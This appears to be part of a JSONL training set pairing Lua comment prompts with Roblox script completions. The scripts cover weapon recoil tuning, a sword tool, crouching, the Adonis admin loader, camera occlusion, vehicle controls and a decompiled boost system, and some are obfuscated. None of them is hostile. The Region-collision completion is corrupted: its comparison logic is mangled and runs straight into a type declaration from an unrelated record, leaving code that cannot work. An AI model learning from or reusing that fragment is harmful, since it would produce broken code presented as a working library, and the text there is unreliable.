false\n\t\tend\n\tend\nend)\n\nL_3_.Humanoid.Died:connect(function()\t\n\tL_30_:FireClient(L_2_, false)\nend)\n"} +{"prompt": "-- variables", "completion": "\n\nlocal reticleSize\t\t= 0.1\nlocal currentReticle\t= \"\"\n\nlocal scope\t\t= false\nlocal aiming\t= false\n\nlocal scopeSpring\t= SPRING:Create(1, 400, 20, 1)\n"} +{"prompt": "--[[ LawlR fix ]]", "completion": "--\n\nlocal ds = game:GetService(\"Debris\")\nlocal ps = game:GetService(\"Players\")\n\nwait(1)\n\nlocal tool = script.Parent\nlocal handle = tool:WaitForChild(\"Handle\")\nlocal slashSound = handle.Slash\nlocal unsheathSound = handle.Unsheath\n\nlocal cooldown = 1\nlocal baseDmg = 18\nlocal slashDmg = 18\nlocal dmg = baseDmg\nlocal gripUp = CFrame.new(0, 0, -1.7, 0, 0, 1, 1, 0, 0, 0, 1, 0)\nlocal gripOut = CFrame.new(0, 0, -1.7, 0, 1, 0, 1, -0, 0, 0, 0, -1)\n\nlocal plr, chr, hum\nlocal db\nlocal lastAttackTag\n\nlocal attackAnimString = Instance.new(\"StringValue\")\nattackAnimString.Name = \"toolanim\"\n\n\nlocal function tagHum(hum)\n\tlocal tag = Instance.new(\"ObjectValue\")\n\ttag.Name = \"creator\"\n\ttag.Value = plr\n\ttag.Parent = hum\n\tds:AddItem(tag, 2)\nend\n\nlocal function isTeamMate(hitPlr)\n\treturn (hitPlr and plr and not hitPlr.Neutral and not plr.Neutral and hitPlr.TeamColor == plr.TeamColor)\nend\n\nlocal function onHit(hit)\n\tlocal hitHum = hit.Parent:FindFirstChildWhichIsA(\"Humanoid\") or hit.Parent.Parent:FindFirstChildWhichIsA(\"Humanoid\")\n\tif hitHum and hitHum.Health > 0 then\n\t\tif hitHum ~= hum then\n\t\t\tlocal hitChr = hitHum.Parent\n\t\t\tlocal hitPlr = ps:GetPlayerFromCharacter(hitChr)\n\t\t\tif hitPlr and isTeamMate(hitPlr) then\n\t\t\t\treturn\n\t\t\tend\n\t\t\ttagHum(hitHum)\n\t\t\thitHum:TakeDamage(dmg)\n\t\tend\n\tend\nend\n\nlocal function attack(tag)\n\tdmg = slashDmg\n\tslashSound:play()\n\t\n\tlocal anim = attackAnimString:Clone()\n\tanim.Value = \"Slash\"\n\tanim.Parent = tool\n\t\n\tcoroutine.wrap(function()\n\t\twait(.5)\n\t\tif lastAttackTag == tag then\n\t\t\tdmg = baseDmg\n\t\tend\n\tend)()\nend\n\n\ntool.Activated:Connect(function()\n\tif not db then\n\t\tdb = true\n\t\ttool.Enabled = false\n\t\tlastAttackTag = tick()\n\t\tattack(lastAttackTag)\n\t\twait(cooldown)\n\t\tdb = false\n\t\ttool.Enabled = true\n\tend\nend)\n\ntool.Equipped:Connect(function()\n\tunsheathSound:Play()\n\tlocal tempChr = tool.Parent\n\tlocal tempHum = tempChr:FindFirstChildWhichIsA(\"Humanoid\")\n\tif tempHum then\n\t\tchr = tempChr\n\t\thum = tempHum\n\t\tplr = ps:GetPlayerFromCharacter(tempChr)\n\tend\nend)\n\n\nhandle.Touched:Connect(function(hit)\n\tlocal toolParent = tool.Parent\n\tif toolParent and toolParent:IsA(\"Model\") and toolParent ~= workspace then\n\t\tonHit(hit)\n\tend\nend)\n"} +{"prompt": "--This is something very accurate, so if you're Minitoon, You can just ask me to delete it if you want.", "completion": "\n\nwait(1)\nlocal TweenService = game:GetService(\"TweenService\") --gets service for tween\nlocal tweenPart = game.Players.LocalPlayer.Character.Humanoid --the part you want to tween (you can change this)\n\nlocal info = TweenInfo.new(\n 0.325, --seconds it takes to complete loop\n Enum.EasingStyle.Back, --easingstyle (how it moves)\n Enum.EasingDirection.Out, --easingdirection (which direction)\n 0, --times repeated (negative number if u want infinite)\n false, --reverse (does it go back to its spot)\n 0 --delay time (stoptime before doing the tween)\n)\n\nlocal Goals = { --YOU CAN CHANGE THESE AND DELETE THE THINGS YOU DON'T WANT TO TWEEN\n CameraOffset = Vector3.new(0,-1.5,0), --where the part will be after tween\n}\nlocal info2 = TweenInfo.new(\n 0.3, --seconds it takes to complete loop\n Enum.EasingStyle.Back, --easingstyle (how it moves)\n Enum.EasingDirection.Out, --easingdirection (which direction)\n 0, --times repeated (negative number if u want infinite)\n false, --reverse (does it go back to its spot)\n 0 --delay time (stoptime before doing the tween)\n)\n\nlocal Goals2 = { --YOU CAN CHANGE THESE AND DELETE THE THINGS YOU DON'T WANT TO TWEEN\n CameraOffset = Vector3.new(0,0,0), --where the part will be after tween\n}\n\nlocal PartTween = TweenService:Create(tweenPart, info, Goals) --gets all the info and goals and creates tween\nlocal PartTween2 = TweenService:Create(tweenPart, info2, Goals2) --gets all the info and goals and creates tween\n\nlocal animidle = tweenPart:LoadAnimation(script.Parent.Idle)\n\nlocal animwalk = tweenPart:LoadAnimation(script.Parent.Walk)\nlocal crouching = false\nlocal waiting = false\n\nlocal userinputservice = game:GetService(\"UserInputService\")\nuserinputservice.InputBegan:Connect(function(input)\n if input.KeyCode == Enum.KeyCode.LeftControl then\n if waiting == false then\n if crouching == false then\n\t\t\t\tscript.Parent.ImageColor3 = Color3.new(1, 1, 1)\n\t\t\t\tscript.Parent.Parent.ImageColor3 = Color3.new(0, 0.666667, 1)\n tweenPart.WalkSpeed = 8\n waiting = true\n crouching = true\n animidle:Play()\n PartTween:Play() --plays it\n tweenPart.Running:Connect(function(Speed)\n if crouching == true then\n if Speed >= 1 then\n animidle:Stop()\n if animwalk.IsPlaying == false then\n animwalk:Play()\n end\n\n else\n animidle:Play()\n animwalk:Stop()\n end\n end\n end)\n wait(0.05)\n waiting = false\n else\n\t\t\t\tscript.Parent.ImageColor3 = Color3.new(0, 0, 0)\n\t\t\t\tscript.Parent.Parent.ImageColor3 = Color3.fromRGB(135, 135, 135)\n tweenPart.WalkSpeed = 16\n waiting = true\n crouching = false\n animidle:Stop()\n animwalk:Stop()\n PartTween2:Play()\n wait(0.05)\n waiting = false\n end\n end\n\n end\n if input.KeyCode == Enum.KeyCode.LeftShift then\n if waiting == false then\n if crouching == false then\n\t\t\t\tscript.Parent.ImageColor3 = Color3.new(1, 1, 1)\n\t\t\t\tscript.Parent.Parent.ImageColor3 = Color3.new(0, 0.666667, 1)\n tweenPart.WalkSpeed = 8\n waiting = true\n crouching = true\n animidle:Play()\n PartTween:Play() --plays it\n tweenPart.Running:Connect(function(Speed)\n if crouching == true then\n if Speed >= 1 then\n animidle:Stop()\n if animwalk.IsPlaying == false then\n animwalk:Play()\n end\n\n else\n animidle:Play()\n animwalk:Stop()\n end\n end\n end)\n wait(0.05)\n waiting = false\n else\n\t\t\t\tscript.Parent.ImageColor3 = Color3.new(0, 0, 0)\n\t\t\t\tscript.Parent.Parent.ImageColor3 = Color3.fromRGB(135, 135, 135)\n tweenPart.WalkSpeed = 16\n waiting = true\n crouching = false\n animidle:Stop()\n animwalk:Stop()\n PartTween2:Play()\n wait(0.05)\n waiting = false\n end\n end\n\n end\nend)\nscript.Parent.MouseButton1Click:Connect(function()\n if waiting == false then\n if crouching == false then\n\t\t\tscript.Parent.ImageColor3 = Color3.new(1, 1, 1)\n\t\t\tscript.Parent.Parent.ImageColor3 = Color3.new(0, 0.666667, 1)\n tweenPart.WalkSpeed = 8\n waiting = true\n crouching = true\n animidle:Play()\n PartTween:Play() --plays it\n tweenPart.Running:Connect(function(Speed)\n if crouching == true then\n if Speed >= 1 then\n animidle:Stop()\n if animwalk.IsPlaying == false then\n animwalk:Play()\n end\n\n else\n animidle:Play()\n animwalk:Stop()\n end\n end\n end)\n wait(0.05)\n waiting = false\n else\n\t\t\tscript.Parent.ImageColor3 = Color3.new(0, 0, 0)\n\t\t\tscript.Parent.Parent.ImageColor3 = Color3.fromRGB(135, 135, 135)\n tweenPart.WalkSpeed = 16\n waiting = true\n crouching = false\n animidle:Stop()\n animwalk:Stop()\n PartTween2:Play()\n wait(0.05)\n waiting = false\n end\n end\nend)\n\n"} +{"prompt": "-- Shake\n-- Stephen Leitnick\n-- December 09, 2021", "completion": "\n\n"} +{"prompt": "----------------------------------------------------------------------------------------\n-- Adonis Loader --\n----------------------------------------------------------------------------------------\n--\t\t \t Epix Incorporated. Not Everything is so Black and White. --\n----------------------------------------------------------------------------------------\n--\t Edit settings in-game or using the settings module in the Config folder --\n----------------------------------------------------------------------------------------\n--\t This is not designed to work in solo mode --\n----------------------------------------------------------------------------------------", "completion": "\n\nlocal warn = function(...)\n\twarn(\":: Adonis ::\", ...)\nend\n\nwarn(\"Loading...\")\n\nlocal RunService = game:GetService(\"RunService\")\nlocal mutex = RunService:FindFirstChild(\"__Adonis_MUTEX\")\nif mutex then\n\tif mutex:IsA(\"StringValue\") then\n\t\twarn(\"Adonis is already running! Aborting...; Running Location:\", mutex.Value, \"This Location:\", script:GetFullName())\n\telse\n\t\twarn(\"Adonis mutex detected but is not a StringValue! Aborting anyway...; This Location:\", script:GetFullName())\n\tend\nelse\n\tmutex = Instance.new(\"StringValue\")\n\tmutex.Name = \"__Adonis_MUTEX\"\n\tmutex.Value = script:GetFullName()\n\tmutex.Parent = RunService\n\n\tlocal model = script.Parent.Parent\n\tlocal config = model.Config\n\tlocal core = model.Loader\n\n\tlocal dropper = core.Dropper\n\tlocal loader = core.Loader\n\tlocal runner = script\n\n\tlocal settings = config.Settings\n\tlocal plugins = config.Plugins\n\tlocal themes = config.Themes\n\n\tlocal backup = model:Clone()\n\n\tlocal data = {\n\t\tSettings = {};\n\t\tDescriptions = {};\n\t\tServerPlugins = {};\n\t\tClientPlugins = {};\n\t\tPackages = {};\n\t\tThemes = {};\n\n\t\tModelParent = model.Parent;\n\t\tModel = model;\n\t\tConfig = config;\n\t\tCore = core;\n\n\t\tLoader = loader;\n\t\tDopper = dropper;\n\t\tRunner = runner;\n\n\t\tModuleID = 7510592873; --// https://www.roblox.com/library/7510592873/Adonis-MainModule\n\t\tLoaderID = 7510622625;\t--// https://www.roblox.com/library/7510622625/Adonis-Loader-Sceleratis-Davey-Bones-Epix\n\n\t\tDebugMode = false;\n\t}\n\n\t--// Init\n\n\t-- selene: allow(incorrect_standard_library_use)\n\tscript.Parent = nil --script:Destroy()\n\tmodel.Name = math.random()\n\n\tlocal moduleId = data.ModuleID\n\tif data.DebugMode then\n\t\tmoduleId = model.Parent.MainModule\n\tend\n\n\tlocal success, setTab = pcall(require, settings)\n\tif not success then\n\t\twarn(\"Settings module errored while loading; Using defaults; Error Message: \", setTab)\n\t\tsetTab = {}\n\tend\n\n\tdata.Settings = setTab.Settings\n\tdata.Descriptions = setTab.Description\n\tdata.Order = setTab.Order\n\n\tfor _, Plugin in ipairs(plugins:GetChildren()) do\n\t\tif Plugin:IsA(\"Folder\") then\n\t\t\ttable.insert(data.Packages, Plugin)\n\t\telseif string.sub(string.lower(Plugin.Name), 1, 7) == \"client:\" or string.sub(string.lower(Plugin.Name), 1, 7) == \"client-\" then\n\t\t\ttable.insert(data.ClientPlugins, Plugin)\n\t\telseif string.sub(string.lower(Plugin.Name), 1, 7) == \"server:\" or string.sub(string.lower(Plugin.Name), 1, 7) == \"server-\" then\n\t\t\ttable.insert(data.ServerPlugins, Plugin)\n\t\telse\n\t\t\twarn(\"Unknown Plugin Type for \"..tostring(Plugin)..\"; Plugin name should either start with server:, server-, client:, or client-\")\n\t\tend\n\tend\n\n\tfor _, Theme in ipairs(themes:GetChildren()) do\n\t\ttable.insert(data.Themes, Theme)\n\tend\n\n\tif tonumber(moduleId) then\n\t\tif game:GetService(\"RunService\"):IsStudio() then\n\t\t\twarn(\"Requiring Adonis MainModule. Expand for model URL > \", {URL = \"https://www.roblox.com/library/\".. moduleId})\n\t\telse\n\t\t\twarn(\"Requiring Adonis MainModule. Model URL: \", \"https://www.roblox.com/library/\".. moduleId)\n\t\tend\n\tend\n\n\tlocal module = require(moduleId)\n\tlocal response = module(data)\n\n\tif response == \"SUCCESS\" then\n\t\tif (data.Settings and data.Settings.HideScript) and not data.DebugMode and not game:GetService(\"RunService\"):IsStudio() then\n\t\t\tmodel.Parent = nil\n\t\t\tgame:BindToClose(function() model.Parent = game:GetService(\"ServerScriptService\") model.Name = \"Adonis_Loader\" end)\n\t\tend\n\n\t\tmodel.Name = \"Adonis_Loader\"\n\telse\n\t\terror(\" !! MainModule failed to load !! \")\n\tend\nend\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t--[[\n--___________________________________________________________________________________________--\n--___________________________________________________________________________________________--\n--___________________________________________________________________________________________--\n--___________________________________________________________________________________________--\n\n\t\t\t\t\t___________ .__ .___\n\t\t\t\t\t\\_ _____/_____ |__|__ ___ | | ____ ____\n\t\t\t\t\t | __)_\\____ \\| \\ \\/ / | |/ \\_/ ___\\\n\t\t\t\t\t | \\ |_> > |> < | | | \\ \\___\n\t\t\t\t\t/_______ / __/|__/__/\\_ \\ |___|___| /\\___ > /\\\n\t\t\t\t\t \\/|__| \\/ \\/ \\/ \\/\n\t\t\t\t --------------------------------------------------------\n\t\t\t\t Epix Incorporated. Not Everything is so Black and White.\n\t\t\t\t --------------------------------------------------------\n\n--___________________________________________________________________________________________--\n--___________________________________________________________________________________________--\n--___________________________________________________________________________________________--\n--___________________________________________________________________________________________--\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t--]]\n"} +{"prompt": "-- NOTE: this flowtype built-in is derived from the object shape returned by forwardRef", "completion": "\nexport type React_AbstractComponent = {\n\t[\"$$typeof\"]: number,\n\trender: ((props: Config, ref: React_Ref) -> React_Node)?,\n\tdisplayName: string?,\n\tdefaultProps: Config?,\n\t-- not in React flowtype, but is in definitelytyped and is used in ReactElement\n\tname: string?,\n\t-- allows methods to be hung on a component, used in forwardRef.spec regression test we added\n\t[string]: any,\n}\n"} +{"prompt": "--\t\tFrontLeftHip.DesiredAngle = (LimbDesiredAngle - ClimbFudge)\n--\t\tFrontRightHip.DesiredAngle = (LimbDesiredAngle + ClimbFudge)\n--\t\tBackLeftHip.DesiredAngle = -LimbDesiredAngle\n--\t\tBackRightHip.DesiredAngle = -LimbDesiredAngle", "completion": "\n\telse\n\t\tlocal WingAmplitude = 0.05\n\t\tlocal WingFrequency = 2\n\t\tlocal WingAngle = (LimbAmplitude * math.sin(Time * LimbFrequency))\t\n\t\tLeftWing.DesiredAngle = WingAngle\n\t\tRightWing.DesiredAngle = -WingAngle\n\tend\n\t\nend\n\nRunService.Stepped:connect(function()\n\tlocal Speed = (Torso.Velocity * Vector3.new(1, 0, 1)).Magnitude\n\tOnRunning(Speed)\n\tlocal _, Time = wait(0.1)\n\tMove(Time)\nend)\n"} +{"prompt": "--// Math", "completion": "\nlocal L_129_ = function(L_166_arg1, L_167_arg2, L_168_arg3)\n\tif L_166_arg1 > L_168_arg3 then\n\t\treturn L_168_arg3\n\telseif L_166_arg1 < L_167_arg2 then\n\t\treturn L_167_arg2\n\tend\n\treturn L_166_arg1\nend\n\nlocal L_130_ = L_118_.new(Vector3.new())\nL_130_.s = 30\nL_130_.d = 0.55\n\t\nlocal L_131_ = CFrame.Angles(0, 0, 0)\n"} +{"prompt": "-- main program", "completion": "\n\nlocal runService = game:service(\"RunService\");\n\nwhile Figure.Parent~=nil do\n\tlocal _, time = wait(0.1)\n\tmove(time)\nend\n"} +{"prompt": "--[[\nBy AxisAngle, (Trey Reynolds)\nDocumentation\nhttp://www.roblox.com/item.aspx?id=227509468\n\nRegion constructors:\n\tRegion Region.new(CFrame RegionCFrame, Vector3 RegionSize)\n\t\t>Returns a new Region object\n\n\tRegion Region.FromPart(Instance Part)\n\t\t>Returns a new Region objects\n\n\nRegion methods:\n\ttable Region:Cast([Instance or table Ignore])\n\t\t>Returns all parts in the Region, ignoring the Ignore\n\n\tbool Region:CastPart(Instance Part)\n\t\t>Returns true if Part is within Region, false otherwise\n\n\ttable Region:CastParts(table Parts)\n\t\t>Returns a table of all parts within the region\n\n\tbool Region:CastPoint(Vector3 Point)\n\t\t>Returns true if Point intersects Region, false otherwise\n\n\tbool Region:CastSphere(Vector3 SphereCenter, number SphereRadius)\n\t\t>Returns true if Sphere intersects Region, false otherwise\n\n\tbool Region:CastBox(CFrame BoxCFrame, Vector3 BoxSize)\n\t\t>Returns true if Box intersects Region, false otherwise\n\n\n\nRegion properties: (Regions are mutable)\n\tCFrame\tCFrame\n\tVector3\tSize\n\tRegion3\tRegion3\n\n\n\nRegion functions:\n\tRegion3 Region.Region3BoundingBox(CFrame BoxCFrame, Vector3 BoxSize)\n\t\t>Returns the enclosing boundingbox of Box\n\n\ttable Region.FindAllPartsInRegion3(Region3 Region3, [Instance or table Ignore])\n\t\t>Returns all parts within a Region3 of any size\n\n\tbool Region.BoxPointCollision(CFrame BoxCFrame, Vector3 BoxSize, Vector3 Point)\n\t\t>Returns true if the Point is intersecting the Box, false otherwise\n\n\tbool Region.BoxSphereCollision(CFrame BoxCFrame, Vector3 BoxSize, Vector3 SphereCenter, number SphereRadius)\n\t\t>Returns true if the Sphere is intersecting the Box, false otherwise\n\n\tbool Region.BoxCollision(CFrame Box0CFrame, Vector3 Box0Size, CFrame Box1CFrame, Vector3 Box1Size, [bool AssumeTrue])\n\t\t>Returns true if the boxes are intersecting, false otherwise\n\t\tIf AssumeTrue is left blank, it does the full check to see if Box0 is intersecting Box1\n\t\tIf AssumeTrue is true, it skips the heavy check and assumes that any part that could possibly be in the Region is\n\t\tIf AssumeTrue is false, it skips the heavy check and assumes that any part that could possible be outside the Region is\n\t\n\tbool Region.CastPoint(Vector3 Point, [Instance or table Ignore])\n\t\t>Returns true if the point intersects a part, false otherwise\n]]", "completion": "\n\nlocal Region={}\n\n\n\nlocal BoxPointCollision do\n\tlocal VecDiv=CFrame.new().pointToObjectSpace--Right Division, yo.\n\tfunction BoxPointCollision(CFrame,Size,Point)\n\t\tlocal Relative\t=VecDiv(CFrame, Point)\n\t\tlocal sx,sy,sz\t=Size.x/2,Size.y/2,Size.z/2\n\t\tlocal rx,ry,rz\t=Relative.x,Relative.y,Relative.z\n\t\treturn\t\t\trx*rxsx and rx-sx--Faster than if statement\n\t\t\t\t\t\tor rx<-sx and rx+sx\n\t\t\t\t\t\tor 0\n\t\tlocal dy\t\t=ry>sy and ry-sy\n\t\t\t\t\t\tor ry<-sy and ry+sy\n\t\t\t\t\t\tor 0\n\t\tlocal dz\t\t=rz>sz and rz-sz\n\t\t\t\t\t\tor rz<-sz and rz+sz\n\t\t\t\t\t\tor 0\n\t\treturn dx*dx+dy*dy+dz*dz = {[T]: any}\ntype Descendant = (PubTypes.Dependent & PubTypes.Dependency) | PubTypes.Dependent\n"} +{"prompt": "--// Extras", "completion": "\n\tWalkAnimEnabled = true; -- Set to false to disable walking animation, true to enable\n\tSwayEnabled = true;\t -- Set to false to disable sway, true to enable\n"} +{"prompt": "--[[[Default Controls]]", "completion": "\n\t--Peripheral Deadzones\n\tTune.Peripherals = {\n\t\tMSteerWidth\t\t\t\t= 67\t\t,\t-- Mouse steering control width\t(0 - 100% of screen width)\n\t\tMSteerDZone\t\t\t\t= 10\t\t,\t-- Mouse steering deadzone (0 - 100%)\n\t\t\n\t\tControlLDZone\t\t\t= 5\t\t\t,\t-- Controller steering L-deadzone (0 - 100%)\n\t\tControlRDZone\t\t\t= 5\t\t\t,\t-- Controller steering R-deadzone (0 - 100%)\n\t}\n\t\n\t--Control Mapping\n\tTune.Controls = {\n\t\t\n\t--Keyboard Controls\n\t\t--Mode Toggles\n\t\tToggleTCS\t\t\t\t= Enum.KeyCode.T\t\t\t\t\t,\n\t\tToggleABS\t\t\t\t= Enum.KeyCode.Y\t\t\t\t\t,\n\t\tToggleTransMode\t\t\t= Enum.KeyCode.M\t\t\t\t\t,\n\t\tToggleMouseDrive\t\t= Enum.KeyCode.R\t\t\t\t\t,\n\t\t\n\t\t--Primary Controls\n\t\tThrottle\t\t\t\t= Enum.KeyCode.W\t\t\t\t\t,\n\t\tBrake\t\t\t\t\t= Enum.KeyCode.S\t\t\t\t\t,\n\t\tSteerLeft\t\t\t\t= Enum.KeyCode.A\t\t\t\t\t,\n\t\tSteerRight\t\t\t\t= Enum.KeyCode.D \t\t\t\t ,\n\t\t\n\t\t--Secondary Controls\n\t\tThrottle2\t\t\t\t= Enum.KeyCode.B \t\t\t\t\t,\n\t\tBrake2\t\t\t\t\t= Enum.KeyCode.N\t\t\t\t\t,\n\t\tSteerLeft2\t\t\t\t= Enum.KeyCode.M \t \t\t\t\t,\n\t\tSteerRight2\t\t\t\t= Enum.KeyCode.V\t\t\t\t\t,\n\t\t\n\t\t--Manual Transmission\n\t\tShiftUp\t\t\t\t\t= Enum.KeyCode.E\t\t\t\t\t,\n\t\tShiftDown\t\t\t\t= Enum.KeyCode.Q\t\t\t\t\t,\n\t\tClutch\t\t\t\t\t= Enum.KeyCode.LeftControl \t\t\t,\n\t\t\n\t\t--Handbrake\n\t\tPBrake\t\t\t\t\t= Enum.KeyCode.LeftShift\t\t\t,\n\t\t\n\t--Mouse Controls\n\t\tMouseThrottle\t\t\t= Enum.UserInputType.MouseButton1\t,\n\t\tMouseBrake\t\t\t\t= Enum.UserInputType.MouseButton2\t,\n\t\tMouseClutch\t\t\t\t= Enum.KeyCode.W\t\t\t\t\t,\n\t\tMouseShiftUp\t\t\t= Enum.KeyCode.E\t\t\t\t\t,\n\t\tMouseShiftDown\t\t\t= Enum.KeyCode.Q\t\t\t\t\t,\n\t\tMousePBrake\t\t\t\t= Enum.KeyCode.LeftShift\t\t\t,\n\t\t\n\t--Controller Mapping\n\t\tContlrThrottle\t\t\t= Enum.KeyCode.ButtonR2\t\t\t\t,\n\t\tContlrBrake\t\t\t\t= Enum.KeyCode.ButtonL2\t\t\t\t,\n\t\tContlrSteer\t\t\t\t= Enum.KeyCode.Thumbstick1\t\t\t,\n\t\tContlrShiftUp\t\t\t= Enum.KeyCode.ButtonY\t\t\t\t,\n\t\tContlrShiftDown\t\t\t= Enum.KeyCode.ButtonX\t\t\t\t,\n\t\tContlrClutch\t\t\t= Enum.KeyCode.ButtonR1\t\t\t\t,\n\t\tContlrPBrake\t\t\t= Enum.KeyCode.ButtonL1\t\t\t\t,\n\t\tContlrToggleTMode\t\t= Enum.KeyCode.DPadUp\t\t\t\t,\n\t\tContlrToggleTCS\t\t\t= Enum.KeyCode.DPadDown\t\t\t\t,\n\t\tContlrToggleABS\t\t\t= Enum.KeyCode.DPadRight\t\t\t,\n\t}\n\t"} +{"prompt": "--------------------------------------------------------------------------------------------\n-- Popper uses the level geometry find an upper bound on subject-to-camera distance.\n--\n-- Hard limits are applied immediately and unconditionally. They are generally caused\n-- when level geometry intersects with the near plane (with exceptions, see below).\n--\n-- Soft limits are only applied under certain conditions.\n-- They are caused when level geometry occludes the subject without actually intersecting\n-- with the near plane at the target distance.\n--\n-- Soft limits can be promoted to hard limits and hard limits can be demoted to soft limits.\n-- We usually don\"t want the latter to happen.\n--\n-- A soft limit will be promoted to a hard limit if an obstruction\n-- lies between the current and target camera positions.\n--------------------------------------------------------------------------------------------", "completion": "\n\nlocal subjectRoot\nlocal subjectPart\n\ncamera:GetPropertyChangedSignal(\"CameraSubject\"):Connect(function()\n\tlocal subject = camera.CameraSubject\n\tif subject:IsA(\"Humanoid\") then\n\t\tsubjectPart = subject.RootPart\n\telseif subject:IsA(\"BasePart\") then\n\t\tsubjectPart = subject\n\telse\n\t\tsubjectPart = nil\n\tend\nend)\n\nlocal function canOcclude(part)\n\t-- Occluders must be:\n\t-- 1. Opaque\n\t-- 2. Interactable\n\t-- 3. Not in the same assembly as the subject\n\n\treturn\n\t\tgetTotalTransparency(part) < 0.25 and\n\t\tpart.CanCollide and\n\t\tsubjectRoot ~= (part:GetRootPart() or part) and\n\t\tnot part:IsA(\"TrussPart\")\nend\n"} +{"prompt": "-- Make the main frame, which (mostly) covers the screen", "completion": "\nMainFrame = NewGui('Frame', 'Backpack')\nMainFrame.Visible = false\nMainFrame.Parent = RobloxGui\n"} +{"prompt": "-- ALEX WAS HERE LOL", "completion": "\n\nlocal v1 = {};\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Resources\"));\nend)();\nfunction v1.Give(p1, p2, p3)\n\tp3 = p3 or 1;\n\tlocal v2 = u1.Saving.Get(p1);\n\tif not v2 then\n\t\treturn;\n\tend;\n\tif not v2.BoostsInventory[p2] then\n\t\tv2.BoostsInventory[p2] = p3;\n\telse\n\t\tlocal l__BoostsInventory__3 = v2.BoostsInventory;\n\t\tl__BoostsInventory__3[p2] = l__BoostsInventory__3[p2] + p3;\n\tend;\n\treturn true;\nend;\nfunction v1.Has(p4, p5)\n\tlocal v4 = u1.Saving.Get(p4);\n\tif not v4 then\n\t\treturn false;\n\tend;\n\tlocal v5 = v4.Boosts[p5];\n\tlocal v6 = false;\n\tif v5 ~= nil then\n\t\tv6 = v5 > 0;\n\tend;\n\treturn v6;\nend;\nfunction v1.Activate(p6, p7)\n\tlocal v7 = u1.Saving.Get(p6);\n\tif not v7 then\n\t\treturn;\n\tend;\n\tif u1.Shared.IsTradingPlaza then\n\t\tu1.Network.Fire(\"Notification\", p6, \"Boosts are disabled in the Trading Plaza.\", {\n\t\t\tcolor = Color3.fromRGB(255, 62, 62)\n\t\t});\n\t\treturn;\n\tend;\n\tlocal v8 = v7.BoostsInventory[p7];\n\tif not v8 or not (v8 > 0) then\n\t\treturn;\n\tend;\n\tlocal l__BoostsInventory__9 = v7.BoostsInventory;\n\tl__BoostsInventory__9[p7] = l__BoostsInventory__9[p7] - 1;\n\tif v7.BoostsInventory[p7] <= 0 then\n\t\tv7.BoostsInventory[p7] = nil;\n\tend;\n\tlocal v10 = u1.Settings.BoostDurations[p7] or 1800;\n\t--if u1.Mastery.HasPerk(p6, \"Boosts\", 4) then\n\t\t--v10 = v10 * 1.5;\n\t--elseif u1.Mastery.HasPerk(p6, \"Boosts\", 3) then\n\t--\tv10 = v10 * 1.25;\n\t--if p7 == \"Triple Damage\" and u1.Mastery.HasPerk(p6, \"Boosts\", 1) then\n\t--\tv10 = v10 * 1.25;\n\t--elseif p7 == \"Triple Coins\" and u1.Mastery.HasPerk(p6, \"Boosts\", 2) then\n\t--\tv10 = v10 * 1.25;\n\t--end;\n\tif not v7.Boosts[p7] then\n\t\tv7.Boosts[p7] = v10;\n\telse\n\t\tlocal l__Boosts__11 = v7.Boosts;\n\t\tl__Boosts__11[p7] = l__Boosts__11[p7] + v10;\n\tend;\n\tcoroutine.wrap(function()\n\t\tu1.Network.Fire(\"Boost Activated\", p6, p7, v10);\n\tend)();\n\t--u1.Mastery.Progress(p6, \"Boosts\", 180);\n\treturn true;\nend;\nfunction UpdateBoosts(p8)\n\tif u1.Shared.IsTradingPlaza then\n\t\treturn;\n\tend;\n\tlocal v12 = u1.Saving.Get(p8);\n\tif not v12 then\n\t\treturn;\n\tend;\n\tfor v16, v17 in pairs(v12.Boosts) do\n\t\tif v17 <= 0 then\n\t\t\tv12.Boosts[v16] = nil;\n\t\t\tu1.Network.Fire(\"Boost Ended\", p8, v16);\n\t\telse\n\t\t\tv12.Boosts[v16] = v12.Boosts[v16] - 1;\n\t\t\t--u1.Mastery.Progress(p8, \"Boosts\", 1);\n\t\tend;\t\n\tend\nend;\nfunction Track(p9)\n\tcoroutine.wrap(function()\n\t\twhile true do\n\t\t\tif p9 then\n\n\t\t\telse\n\t\t\t\tbreak;\n\t\t\tend;\n\t\t\tif p9.Parent then\n\n\t\t\telse\n\t\t\t\tbreak;\n\t\t\tend;\n\t\t\tUpdateBoosts(p9);\n\t\t\tu1.Functions.Wait(1);\t\t\n\t\tend;\n\tend)();\nend;\nu1.Signal.Fired(\"Player Added\"):Connect(function(p10)\n\tTrack(p10);\nend);\nu1.Network.Fired(\"Activate Boost\"):Connect(function(p11, p12)\n\tv1.Activate(p11, p12);\nend);\nreturn v1;\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,VRecoil = {16,20}\t\t\t\t--- Vertical Recoil\n\t,HRecoil = {8,12}\t\t\t\t--- Horizontal Recoil\n\t,AimRecover = .325\t\t\t\t---- Between 0 & 1\n\t\n\t,RecoilPunch = .25\n\t,VPunchBase = 4.75\t\t\t\t--- Vertical Punch\n\t,HPunchBase = 2.5\t\t\t\t--- Horizontal Punch\n\t,DPunchBase = 1 \t\t\t\t--- Tilt Punch | useless\n\t\n\t,AimRecoilReduction = 5 \t\t--- Recoil Reduction Factor While Aiming (Do not set to 0)\n\t,PunchRecover = 0.2\n\t,MinRecoilPower = .75\n\t,MaxRecoilPower = 2\n\t,RecoilPowerStepAmount = .25\n\t\n\t,MinSpread = 0.12\t\t\t\t--- Min bullet spread value | Studs\n\t,MaxSpread = 30\t\t\t\t\t--- Max bullet spread value | Studs\n\t,AimInaccuracyStepAmount = .15\n\t,WalkMultiplier = 0\t\t\t\t--- Bullet spread based on player speed\n\n\t,SwayBase = 0.05\t\t\t\t--- Weapon Base Sway | Studs\n\t,MaxSway =\t3\t\t\t\t\t--- Max sway value based on player stamina | Studs"} +{"prompt": "----- Initialize -----", "completion": "\n\nif IsStudio == true then\n\tIsLiveCheckActive = true\n\ttask.spawn(function()\n\t\tlocal status, message = pcall(function()\n\t\t\t-- This will error if current instance has no Studio API 